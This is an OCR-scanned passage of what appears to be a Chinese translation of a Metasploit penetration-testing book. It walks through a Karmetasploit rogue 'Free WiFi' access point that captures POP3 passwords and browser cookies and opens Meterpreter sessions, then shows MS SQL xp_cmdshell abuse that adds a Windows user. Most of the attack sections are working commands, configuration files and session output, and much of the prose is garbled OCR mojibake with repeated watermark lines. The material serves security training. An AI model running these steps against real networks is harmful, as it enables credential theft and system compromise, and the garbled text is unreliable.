[*] Attempting to exploit ani_loadimage chunksize
[*] Sending HTML page to 10.211.55.128:1047...
[*] Sending Adobe JBIG2Decode Memory Corruption Exploit to 10.211.55.128:1046...
[*] Sending exploit to 10.211.55.128:1049...
[*] Attempting to exploit ani_loadimage chunksize
[*] Sending Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP) to

10.211.55.128:1076...

[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)

® [*] Meterpreter session 1 opened (10.211.55.130:9007 -> 10.211.55.128:1077
msf exploit(zenturiprogramchecker unsafe) » sessions -1

Active sessions

1 Meterpreter 10.211.55.130:9007 -> 10.211.55.128:1077

msf exploit(zenturiprogramchecker unsafe) > sessions -i 1
[*] starting interaction with 1...

meterpreter »

1.4 g FEZELEEN—SFE

Fast-Track 76 F# = BRHE Metasploit A48 15 T M0 S0 R 0. 44 T
Metasploit i, Fast-Track Ju¥ {1 (A B RUBCat i BRSE R0 FLAR L. 2408, EAMLAGIS
BRHF R BIERD, RERABI T IR EEBHIRS, FHR MR B R
SR ILE . 7 BRMLEE T AKBEIR T, B B OO LBEIE AR
K BT, AR — A ERF RSB R,
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BTt I AT ORM L% S 2 AT AR 2 A B B AT A 4%, 5 I 24 AT 1) SEBRABCR) N AR FHV R ST o DRIAR St 38 40 W o)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

B =
Karmetasploit T& I HEH

Karmetasploit &2 KARMA 7F Metasploit #E32 | (#¥)5C80, 1 KARMA & Dino Dai Zovi
Shane Macaulay JF & M E£k W i EM. KARMA FIf T Windows XP #l MAC OS X #{ER& &
BILLMENFEERE SRR SBERGEENN, SREGEBIRZAERLTHTL
4% .

W ifi & KARMA Zefbpafn B — MEE I AP, SRS BT My H bR ZEME S,
IR B % T 0 B T R AR 26 R T AR 4t . TR SR R 43 0 7% i R R T O B R L B B
EAE LM%, KARMA 7] LLHREEEHIE R MEiit g, SERAFBEEERHE
FomBldi, BREREF. dTARMTENS R HRS BRI, Bl LEH LR
8. HABRFLEELMMT, #FH KARMA BMERSHENHROMNSE. ETHEZXT
KARMA BHIISEL, Wi LATWAE: hap://railofbits.com/karmal .
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &% M X35 B8

Karmetasploit /& KARMA Jo2k Uil &4 7 Metasploit HESE FAGSEBL. LT TFh “ A&7
k%%, 1LH5 DNS. POP3. IMAP4. SMTP, FTP. SMB il HTTP. XA 455 AEHMURIME N K
43 (2 P A SR, T EL A 5 R AR KRR I AR R Xk & R BB BIRRS B AL T
Metasploit # H 3 F ) modules/auxiliary/server #4% ).

121 BCE

Karmetasploit B i (AL E M. 15k, RAIRCE A DHCP %234 Hbr LM &5 K 1P
#idik. Back|Track {43 T DHCP R4 8%, {H/EK [ 454 Karmetasploit fEF, A7 ZGIE—
MHEXHIECE SR, W FRTR:

© option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility localy;
subnet 10.0.0.0 netmask 255.255.255.0 {
-] range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;

}

HIA 4 ep /ete/dhep3/dhepd.conf fetc/dhep3/dhepd.conf.back #1473 5L 46 L B 3 dhepd.
conf, $RJGEIERBTH R & O SR, FORAE 10.0.0.100 F) 10.0.0.254 13t Py $2 4k bk
©. (WIHEfRXT DHCP F & A%, AAEL, RERERM ERRE dhcpd.conf XM, HMAEIE
BIHED

B FK, RATFH KARMA J3CH, PV EEA A S E Metasploit i ETIREH

root@bt:/opt/metasploit3/msf3# wget http://www.offensive-security.com/downloads/karma.rc

BHBAIFTIF KARMA B S karmare, ATV LA B EIZAT R RAEMFHIETS], T
B

root@bt:/opt/metasploit3/msf3# cat karma.rc
db_connect postgres:toor@127.0.0.1/mstbook
© use auxiliary/server/browser_autopwn
® setg AUTOPWN_HOST 10.0.0.1
setg AUTOPWN_PORT 55550
setg AUTOPWN_URI /ads
© set LHOST 10.0.0.1
set LPORT 45000
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

%12 B Karmetasploit TEIWHEM

set SRVPORT 55550
set URIPATH /ads
run
® use auxiliary/server/capture/pop3
set SRVPORT 110
set SSL false
Tun

F BN 4% 55 47 4% 45 W B85 % (db_connect postgres:toor@127.0.0.1/msfbook) 2 J5,
KARMA {4 % browser_autopwn |45 @ B —FpEF 0 W38 25X £ Fi2 B R BB {8
$# Wik 7% . Metasploit HEZE P g — S F 3 WA M B BGEA, WARFERESPEEE
include Msf::Exploit::Remote::BrowserAutopwn: ', X7~ %ijj[n) autopwn ARS BH 21l 04T

O @ A IP bk E h 10.0.0.1, XFESEIAR DHCP ALE —3. &5, ZHHM
BIRFHECEFEFO. CnBFAER T TN BEE S E, W REEEI O

T, BAVGALEMERED MR, LI s FRMNPEEMF L. T
AT I LM £ HER RT73 8 . BAMEA airmon-ng #T7F wlan0 3K & & 8.

root@bt:/opt/metasploit3/msf3# airmon-ng start wlano

BER: wEAORFRANEHRE L XRE, # i 9 Aircrack-ng # B 35
( http://www.aircrack-ng.org/ ) T B EAF 4515 69 £ & M F% B B K.

122 FiRIGE

Aircrack-ng T2 /741§ airbase-ng 41 {1 FI 3k £l & Karmetasploit ff 5 AP. 7E F/Ml+Fh,
A IACE airbase-ng AP HANFTH FIERAM (p), 30 WEHES (-c30) /] “Free WiFi”
1 ESSID (-¢ "Free WiFi"), VAEIRMNIZTT (<v), FHMEF mon0 #E1:

root@bt:/opt/metasploit3/msf3# airbase-ng -P -C 30 -e "Free WiFi" -v mon0
O 14:06:57 Created tap interface ato

14:06:57 Trying to set MTU on at0 to 1500

14:06:57 Trying to set MTU on mon0 to 1800

14:06:57 Access Point with BSSID 00:21:29:E2:DE:14 started.

FfRfE@F K, Airbase-ng & T — M (H#% 1 at0. Karmetasploit ¥f{#HXME O
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ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

Metasploit ;&i% i #5 @

F—#, TAETIT at0 £ 133217 DHCP iR %

O root@bt:/opt/metasploita/msf3t ifconfig ato up 10.0.0.1 netmask 255.255.255.0
@ root@bt:/opt/metasploit3/msfi# dhepd3 -cf /etc/dhep3/dhepd.conf ato

+ . o« SNIP . ..

Wrote 0 leases to leases file.

Listening on LPF/at0/00:21:29:e2:de:14/10.0.0/24

Sending on  LPF/at0/00:21:29:e2:de:14/10.0.0/24

Sending on  Socket/fallback/fallback-net

Can't create PID file /var/run/dhcpd.pid: Permission denied.
© root@bt:/opt/metasploit3/msfi# ps aux |grep dhcpd

dhcpd 4015 0.0 0.2 3812 1840 7 Ss  14:09 0:00 dhcpd3 -cf /setc/dhcp3/
dhcpd. conf ato
root 4017 0.0 0.0 2012 564 pts/4 S+ 14:09 0:00 grep dhcpd

® root@bt:/opt/metasploit3/msfi# tail tail -f /var/log/messages
Apr 2 14:06:57 bt kernel: device mon0 entered promiscuous mode

Apr 2 14:09:30 bt dhcpd: Internet Systems Consortium DHCP Server V3.1.1

Apr 2 14:09:30 bt kernel: warning: “dhcpd3’ uses 32-bit capabilities (legacy support in use)
Apr 2 14:09:30 bt dhcpd: Copyright 2004-2008 Internet Systems Consortium.

Apr 2 14:09:30 bt dhcpd: All rights reserved.

Apr 2 14:09:30 bt dhcpd: For info, please visit http://www.isc.org/sw/dhcp/

Apr 2 14:09:30 bt dhcpd: Wrote 0 leases to leases file.

Apr 2 14:09:30 bt dhcpd: Listening on LPF/at0/00:21:29:e2:de:14/10.0.0/24

Apr 2 14:09:30 bt dhcpd: Sending on  LPF/at0/00:21:29:e2:de:14/10.0.0/24

MO, #1 at0 #4TFH BAEH ip Huhk 10.0.0.1, @7 DHCP RS- 85768 0 at0 247,
FEFH BN AR TR E R . & T HiE DHCP IRE IEFEEZEST, BT ps aux®. BJj5, B
H B BAEREE T 4 MR 1P bt K T .

BRAE, 27 H) Karmetasploit AL 5EAK T, FAI7T LA MSF 2835 (msfeonsole )4 {# FH resource
karma.re fy4 N8R TR F (AR W] LUE L 7417 74 msfeonsole -r karma.re R85 S0 4F1%
%45 MSF % ):

mst > resource karma.rc
resource (karma.rc)> db_connect postgres:toor@127.0.0.1/msfbook
resource (karma.rc)> use auxiliary/server/browser_autopwn
resource (karma.rc)> setg AUTOPWN_HOST 10.0.0.1
AUTOPWN_HOST =»> 10.0.0.1
resource (karma.rc)> setg AUTOPWN_PORT 55550
AUTOPWN PORT =»> 55550
resource (karma.rc)> setg AUTOPWN_URI /ads
AUTOPWN URI =» /ads
® resource (karma.rc)> set LHOST 10.0.0.1
LHOST =»> 10.0.0.1
resource (karma.rc)> set LPORT 45000
LPORT =»> 45000
resource (karma.rc)> set SRVPORT 55550
SRVPORT =» 55550
resource (karma.rc)> set URIPATH /ads
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

¥ 12 & Karmetasploit TEWHEM

URIPATH => /ads
resource (karma.rc)> run
[*] Auxiliary module execution completed
® resource (karma.rc)> use auxiliary/server/capture/pop3
resource (karma.rc)> set SRVPORT 110
SRVPORT => 110
resource (karma.rc)> set 55L false
SSL => false
resource (karma.rc)> run

~ « « SNIP . ..

® [*) Starting exploit windows/browser/winzip_fileview with payload windows/
meterpreter/reverse_tcp
[*] Using URL: http://0.0.0.0:55550/N9wReDIhfKg
[*] tocal IP: http://192.168.1.101:55550/N9wReDIhfKg
[*] Server started.
© [*] Starting handler for windows/meterpreter/reverse_tcp on port 3333
[*] Starting handler for generic/shell reverse tcp on port 6666
[*] Started reverse handler on 10.0.0.1:3333
[*] Starting the payload handler...
[*] Started reverse handler on 10.0.0.1:6666
[*] starting the payload handler...
[*] --- Done, found 15 exploit modules
[*] Using URL: http://0.0.0.0:55550/ads
(*]
[*]

Local IP: http://192.168.1.101:55550/ads
Server started.

EWARBTE B, WOCHHAT T2 WA, el Bid B, &R LHOST Hbb#iE A
10.0.0.10, POP3 ili55H51®, RIGREME autopwn BBAHEFO, BEEE payloads®.

12.3 FREUEIE

MR RAITAER AP L, RATVEERAHE B & FBRAT AR % 1P Hihb4
ST . WEWXPNEER, ERNVERE| MSF Kigth BERETH 4. X8, BINFH-AZS
SERF T 1P Hidk.

Apr 2 15:07:34 bt dhcpd: DHCPDISCOVER from 00:17:9a:b2:b1:6d via ato

Apr 2 15:07:35 bt dhcpd: DHCPOFFER on 10.0.0.100 to 00:17:9a:b2:b1:6d (v-xp-sp2-bare) via ato

Apr 2 15:07:35 bt dhcpd: DHCPREQUEST for 10.0.0.100 (10.0.0.1) from 00:17:9a:b2:b1:6d
(v-xp-sp2-bare) via ato .

Apr 2 15:07:35 bt dhcpd: DHCPACK on 10.0.0.100 to 00:17:9a:b2:bi:6d {v-xp-sp2-bare) via ato

BATR B B AR S — O H BT ITHRF 25 S 0. W FAT7R, Karmetasploit IEFESF

[*] DNS 10.0.0.100:1049 XID 45030 (IN::A time.windows.com)
[*) DNS 10.0.0.100:1049 XID 47591 (IN::A pop3.securemail.com)
© [*] POP3 LOGIN 10.0.0.100:1102 bsmith / s3cr3tp4ss
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

PLics

Metasploit & &R I5E

WO, Metasploit Frfi B ) POP3 fii 42888 3% 7 H s isfE A P 2 sk, 820 B i
DNS &3k #B % Karmetasploit % [¥) DNS IR % % Fr ik,

12.4 15%| Shell

TE3XRT, PR AWSIEEY:, TRAMPRE M. A3 ST ITE, A&
TP REENS TR/, wE 12-1.

3 Hotel Goest Wireles rvices - Microsaftl Imernet Explorer

A L e
= | :ﬂ i | - Search S Fovirkas & - 133
ke nss | ] et ey, microsoft. comjsptireds T dmistsgvie séBar mrhone
W To teip Bt your secunty, Inbernet Explorer stopped this site from instaling an Activel control on your comguter, Click, hers For options

B 12-1 Karmetasploit {41 T

24 Fi P AR TE U AT R T Ok & R AR AT 4B, Karmetasploit 1F {3 AC B i £ 843K cookies:
WEBENEE. DNS AU MRS LARX % P w8 2T 8 By, AT BB di 45
REL TR karma.re 4R,

MR, FERXFERRT, BAE CEMEERESHS . HBBELGEIRTH, WEREE
£R “Loading” TUH. WIRA/EERMOKIE, fhalfERFCAXNSE D, XAEF L8]
Ry R . SRIRFTLUESII S 0UE, SR REE - b R EFBIM AT, A ARHR
[EA:hpoa i

THE, REEF PR RIS REKRH:

[*] HTTP REQUEST 10.0.0.100 > www.microsoft.com:80 GET /isapi/redir.dll Windows IE 6.0
cookies=WT_NVR=0=/:1=downloads : 2=downloads/en; WT_FPC=id=111.222.333.444-1008969152
.30063513:1v=1267703430218 : 55=1267703362203 ; MC1=0U1D=09633fd2bddcdb4bal fe62cc49fbaacqBHASH=
d23f8LV=201038V=3; A=I&I-AxUFAAAAAAAUBWAADSATERIMarfsgozpHsnjog!!; MUID=C7149D932(864
18EBC913CE45C4326AE

[*] Request '/ads' from 10.0.0.100:1371

© [*] HTTP REQUEST 10.0.0.100 > adwords.google.com:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > blogger.com:80 GET /forms.html Windows IE 6.0 cookies=
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
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W12 ¥ Karmetasploit TR HELH

care.com:80 GET /forms.html Windows IE 6.0 cookies=
careerbuilder.com:80 GET /forms.html Windows IE 6.0 cookies=
ecademy.com:80 GET /forms.html Windows IE 6.0 cookies=
facebook.com:80 GET /forms.html Windows IE 6.0 cookies=

[*] HTTP REQUEST 10.0.0.100
[*] HTTP REQUEST 10.0.0.100
[*] HTTP REQUEST 10.0.0.100
[*] HTTP REQUEST 10.0.0.100

WO W W

« + « SNIP . . .

[*] HTTP REQUEST 10.0.0.100 > www.slashdot.org:80 GET /forms.html Windows IE 6.0 cookies=

[*] HTTP REQUEST 10.0.0.100 > www.twitter.com:80 GET /forms.html Windows IE 6.0 cookies=

[*] Request '/ads?sessid=V21uZG93czpYUDpTUDI6ZWAtdXMEeDg20k1TSUUGNi4wOINQMjo%3d" from
10.0.0.100:1371

® [*] JavaScript Report: Windows:XP:SP2:en-us:x86:MSIE:6.0;5P2:

® [*] Responding with exploits
[*] HTTP REQUEST 10.0.0.100 > www.xing.com:80 GET /forms.html Windows IE 6.0 cookies=
{*] HTTP REQUEST 10.0.0.100 > www.yahoo.com:80 GET /foxms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > www.ziggs.com:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > xing.com:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > yahoo,com:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > ziggs.com:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > care.com:80 GET / Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > www.care2.com:80 GET / Windows IE 6.0 cookies=

© [*] HTTP REQUEST 10.0.0.100 > activex.microsoft.com:80 POST /objects/ocget.dll Windows IE

6.0 cookies=WT_FPC=id=111.222.333.444-1008969152.30063513:1v=1267703430218:5s5=
1267703362203 ; MC1=GUID=09633fd2bddcdb4ba1fe62cca9fbiaacakHASH=d23f&LV=201038V=3;A=I&I=
AxUFAAAAAAAUBWAADSATERIMarfs902pHsnjog!!; MUID=C7149D932C86418EBC913CE45C4326AE

[*] HTTP 10.0.0.100 attempted to download an ActiveX control

[*] HTTP REQUEST 10.0.0.100 > activex.microsoft.com:80 POST /objects/ocget.dll Windows IE
6.0 cookies=WT_FPC=id=111.222.333.444-1008969152.30063513:1v=1267703430218:55=126770
3362203; MC1=GUID=09633fd2bddcdb4balfe62cc49fbiac48HASH=d23FaLY=201034V=3;A=I41=
AxUFAAAAAAAUBWAADSAT6RIMarfs902pHsnjog!1; MUID=C71490932(86418EBC913CE45C4326AE

[*] HTTP 10.0.0.100 attempted to download an ActiveX control

© [*] Sending Internet Explorer COM CreateObject Code Execution exploit HTML to 10.0.0.100:1371...

[*] HTTP REQUEST 10.0.0.100 > activex.microsoft.com:80 POST /objects/ocget.dll Windows IE
6.0 cookies=WT_FPC=id=111.222.333.444-1008969152.30063513:1v=1267703430218:55=
1267703362203 ; MC1=GUID=09633fd2bddcdb46aife62cca9fbsac4&HASH=d23fALV=201038V=3; A=I&]=
AxUF AAAAAAAUBWAADSAT6RIMarfs902pHsnjog! | ; MUID=C7149D932C86418EBC913CE4504326AE

[*] HTTP 10.0.0.100 attempted to download an ActiveX control

[*] HTTP REQUEST 10.0.0.100 > codecs.microsoft.com:80 POST /isapi/ocget.dll Windows IE 6.0
cookies=WT_FPC=id=111.222.333.444-1008969152.30063513:1v=1267703430218:55-1267703362203;
MC1=GUID=09633fd2bddcdbabaife62cca9fbaac4BHASH=d23f&LV=201038V=3; A=I&I=AxUFAAAAAAAU
BwAADSAT6RIMarfs902pHsnjog! I; MUID=C71490932C86418EBC913CE45C4326AE

. SNIP . . .

[*] HTTP 10.0.0.100 attempted to download an ActiveX control

[*] HTTP REQUEST 10.0.0.100 > codecs.microsoft.com:80 POST /isapi/ocget.dll Windows IE 6.0
cookies=WT_FPC=id=111.222.333.444-1008969152.30063513:1v=1267703430218: 55=1267703362203;
MC1=CUID=09633fd2bddcdb4balfeb2cc49tbgac48HASH=d23F4LV=201038V=3; A=I&I=AxUFAAAAAAAU
BwAADSAT6RIMarfs902pHsnjog!!; MUID=C71490932C86418EBC913CE45C4326AE

[*] HTTP REQUEST 10.0.0.100 > codecs.microsoft.com:80 POST /isapi/ocget.dll Windows IE 6.0
cookies=WT_FPC=id=111.222.333.444-1008969152.30063513:1v=1267703430218:55-1267703362203;
MC1=GUID=09633fd2bddcdbabaife62cc49fbaac4BHASH=d23fALV=201038V=3; A=I&I=AxUFAAAAAAAU
BwAADSATERIMarfs902pHsnjog! !; MUID=C7149D932C86418EBC913CE45C4326AE
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Metasploit ;&1E R iR1E

[*] HTTP REQUEST 10.0.0.100 > codecs.microsoft.com:80 POST /isapi/ocget.dll Windows IE 6.0
cookies=WT_FPC=id=111.222.333.444-1008969152.30063513:1v=1267703430218:55=1267703362203;
MC1=GUID=09633fd2bddcdbabalfe62cc49fbiacA&HASH=d23fRLV=201038V=3; A=I&I=AxUFAAAAAAAU
BwAADSAT6RIMarfsgozpHsnjog!!; MUID=C7149D932(86418EBC913CE4A5C4326AE

[*] Sending EXE paylead to 10.0.0.100:1371...

[*] sending stage (748032 bytes) to 10.0.0.100

® [*] Meterpreter session 1 opened (10.0.0.1:3333 -> 10.0.0.100:1438)

7E R, #RALAE WL, Metasploit & 5EKIRE /3 B AT RIS F 38 LR AL TBE
THLERIO. RIE, T JavaScript i E H AR EEAE RERB KR A0, JF HEHBER
HAFHITHN O, TEOLE I B A BN ActiveX #44, i 12-1 s —HBRERE
BIF 4. B T RARLAER W Metasploit IETEXS 25 /i AT 8 B W i@ . & — AR AMILE,
FrfigE WBBH LR T, HH—ANWEHSE LI T E bR LT 0!

[ 3] MSF £ 35, A ELAETERMAE, HARERNERRF LR\ T H AR, 2
15, M Ra R AT B EGER, - E BRI R R b RAS,  DAR ) SRR K

meterpreter > sessions -i 1

[*] Starting interaction with 1...

meterpreter > sysinfo

Computer: V-XP-SP2-BARE

0sS : Windows XP (Build 2600, Service Pack 2).

Arch : %86

Language: en_US

meterpreter » getuid

Server username: V-XP-SP2-BARE\Administrator
meterpreter > run migrate -f

[*] Current server process: jEFiwxBKyjoHGijtP.exe (3448)
[*] Spawning a notepad.exe host process...

[*} Migrating into process ID 2232

[*] New server process: notepad.exe (2232)

meterpreter > screenshot

Screenshot saved to: /opt/metasploit3/msf3/rkGrMLPa. jpeg
meterpreter >

[F 24 Windows XP SP2 SRl 2245 0k 2 A A % 41 Internet Explorer 6 (A #H HZAFH S
KD, B EHATEEZ CEREENS, REF M mBBERERET .

12.5 I

Wi LML O LR TEERTHEE. REXMBETHELR a2 THE, |
B — T ERERINEEKEMN PhEMNERARK AR ZLE P wmENL. XMBEE LSS
PR A ERRRATE, FATHSEF SN LEERETRNEGEENARE.

BAERCSENLHXMREELEE, RAMSHESBEHAREEMNENRENT
M. PR X KO TR B A A B oLk S ? AE i AT BB HE IEEIZ 1T Karmetasploit?
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BTt I AT ORM L% S 2 AT AR 2 A B B AT A 4%, 5 I 24 AT 1) SEBRABCR) N AR FHV R ST o DRIAR St 38 40 W o)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

. &

%5 R HC R

iy

%58 H O Metasploit BIREAHX LLRES ), RERHHF LHEESE UL — MEEEI
IEE. BT Metasploit F% i Ruby {55 L, PHULRAEERE H K ELEHE Ruby HISES. W
RIFEAR—HL Ruby “ZE” i, HEFREBLRWTHLIXMIES, EAEIRYE, HERMR
Msegeze>). REMRER, %> Ruby EERRMALAES . WRIREKIRA R B AT P i)—
45 Ruby #EE, RATLUEE B AT, 2B ORIRT Ruby 15551, REERHFRFIEARE.

TEARTER, BAVKGS 2K mssql_powershell B, RELIFES 18 J& Defcon &
i Josh Kelley (winfang) #1 David Kennedy AT A I — I F/H AR, X/MEREBGE H bR %
3 73Kk PowerShell ff] Windows BE1E &% (BRiA 2 Windows 7).

IXAMEHORE 28— ARUER) MSF 33 i) Brks Boer 5 8 0 + 75 b iR R A X, 830 wT DU I
MS SQL & B Hhr R4t L, XN BE A REB B RE LS, ¥ H—B PowerShell
AR+ 78 B B B BT B — A BRI AT HRAT SO, RERITE, AR RS
shell 1%, X MERANEELMAT Metasploit 12 S, HHEHEATEETFEN, BRITEX
B XA ROR IR AT R % S R B CABR .
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit ;&% X 15 &

XA GG T R AR — BRSO R Oy NI E, BT MS SQL 2T 1
HEEW ] RSO LR, X R — AT UE R M Metasploit HEZLE KDHRERI LB F. 1K
BHTBEWNRN, RESBEREMIEABRDNSFMEE, XN RO %S Mg b
HIREST, F T LURIA B O R Rl B Wi, ABAMRBIE RS ERRITSOE T —2.
MARVRHE T Metasploit fEAE, HUTT LFE—/MA BRI AV, 405 LR gy B .

13.1 7 MS SQL L#HTHSHiT

e 6 M RMNOLERH, KREHMRLEH T MS SQL ERRAIKS (sa) UL
WEAGFEN, M L2 E R A RN RSERN™EG R, sa kBN
MS SQL 48 FE ZZeHh () sysadmin A, JRUATEEIRAR, BEMHEH FE L2 MS SQL
ARS8 LW ERINEE T2 4 RIS FEIDHY sa T AR HRHRAE % A BTol g A MS
SQL RS- RECHLIAS, SKEUNWAEARMPBEIATEERS . EWRMCEESR 6 i
HIAREE, R aT LLEH] Metasploit 7 A4 B BEH R S 4 ) MS SQL 4536, %) 55 51 sa Mk
FPHET A8 1.

HROE B T AN sa P 2Z)E, PREEATATE MS SQL Bidli FE AT S ki . BIBR
QU AU AT ICMBGEAT 9, P aET A N REE R AR AT RFELR xp_cmdshell.
M FREVRTT LA MS SQL R #8Ik& HIZFT R P 2R 8E GEH /2 Local System) T
PITRZBRIER G L.

$#87R: SQL Server 2005 #v 2008 F&H LF A A EARRATT EM, 2h—2WA
sysadmin f EAXFRILT AR SQL 44k EAT WL Z AL A2, Hlde, 4RTVA4E A SELECT
loginname FROM master..syslogins WHERE sysadmin=1 & 4) % & & 44 sysadmin A & &8 P
Sk, REZREBRLT AR P4 sl. S MA T sysadmin A &2 6, REFL
B2 T #4 MS SQL %4k.

TR AR T W@ Metasploit H1f) MS SQL # BB RIET — R E BRIk RS
4

© use msf > use admin/mssql/mssql_exec
® msf auxiliary(mssql_exec) > show options

Module options:

Name Current Setting Required Description

CMD cmd.exe /c echo OWNED > C:\owned.exe no Command to execute

PASSWORD no The password for the
specified username

RHOST yes The target address

RPORT 1433 yes The target port

USERNAME sa no The username to authenticate as
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® msf auxiliary(mssql exec) > set RHOST 172.16.32.136
RHOST => 172.16.32.136

® msf auxiliary(mssql exec) > set CMD net user metasploit p@ssword /ADD
CMD => net user metasploit p@sSword /ADD
msf auxiliary(mssql exec) > exploit

[*] SOL Query: EXEC master..xp cmdshell 'net user metasploit p@s5word /ADD'
@ The command completed successfully.

[*] Auxiliary module executicn completed
msf auxiliary(mssql exec) »

EXAM e, BRANVEEEFET mssql exec KT BERO, ZEHLE @ HA
xp_cmdshell FZE I FERPITRER LS. BTR, RINEF T ZEMBEEIRTI RO, I
WETHERENG, RN THERITHRERZT 2O, BERNEL exploit 74T
FEEL . AR] LA BB B BGE R AT @, TAIE2LF A xp_cmdshell 44 BRIIMTE RZE T IMA
T AHFF. (FEIXW, FATALLFFIT net localgroup administrators metasploit /ADD 4,
B 0N B B AR 8 1) A Hb A 2 R 4D

it BiRlF, RelLURIE, mssql exec tEERILSCH A —NiEid MS SQL AR4& JEAT U Al iy
74547 shell.

13.2 RE—IBETR) Metasploit #EiL

PAEBRAT RN 2 AT WIRIAE It R1XAS mssql_exee BUER, REFERUTELIM. XER
BATATLAESRE B QRS AT, XTI RRAE A T AN EM AR, bBRAMER —
A GE AERATITIX RIS, KRB FCR T T/ER:

root@bt:/opt/framework3/msf3# nano modules/auxiliary/admin/mssql/mssql_exec.rb

THEAARAT & MRS E KA, HPaS T —SHFERINKERNEA:

® require 'msf/core’

® class Metasploit3 < Msf::Auxiliary
®include Msf::Exploit::Remote: :MSSQL

def run
Omssql_xpcmdshell(datastore[ 'CMD'], true)
if mssql_login_datastore
end
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Metasploit ;&i% ik &

B ITOEVFRIXMEH T 25| H Metasploit #Z0FE P ) ZhRE, 8 T RO E X T iER)E
F— A B, include 1B/ @ &M XEEH, T M Metasploit O FERSIH T MS SQL Pl
B, JoP A T BT 2T MS SQL AIBfEFATH 55 MS SQL A XHIThBEAUHE, B )5 M Metasploit
MEEEEDPRREECHBEAERE ML CMDO, F#H A MS SQL fh itk + K
mssql xpcmdshell BEATHAT -

kIR SR A F T Metasploit #-0 ) MS SQL VRYThEEMR, KxI &R RA KA
hieH N EFHTH. RINVELW T LEARE Q3BT IF mssqlrb STAFF
mssql_command.rb S

root@bt:/opt/framework3/msf3# nano lib/msf/core/exploit/mssql.rb
root@bt:/opt/framework3/msf3# nano lib/msf/core/exploit/mssql_commands.rb

f£ Nano 38 P R CTRL-W 7E mssql.rb L %K mssql_xpemdshell, #REE 0] LK F
WT AR E XL, EEVFT Metasploit 21 2:{FH xp_cmdshell fF7 it 2.

#

# Execute a system command via xp_cmdshell

it

def mssql_xpcmdshell({cmd,doprint=false,opts={})
force_enable = false
begin

res = mssql_query("EXEC master..xp_cmdshell® "#{cmd}'@", false, opts)

REAETE T HRELE MS SQL RS2 EHITH SQL ##iEH), ALLEFIXE—
xp_cmdshell 7 RAFTARO, UR—THBEBREIHPERNITESNZEO. I, 7
R IN—AH P R B EIRHS R E omd ALY “net user metasploit p@55w0rd! /ADD”,
MTZE MS SQL ¥(#E /% 4T EXEC master.xp_cmdshell 'net user metasploit p@55wOrd!
/ADD',

MAEBRBXESEB R mssql commands.rb XA, 7EIX B 4R 7] LLF B E FH BUF
xp_cmdshell FEA& L 14058,

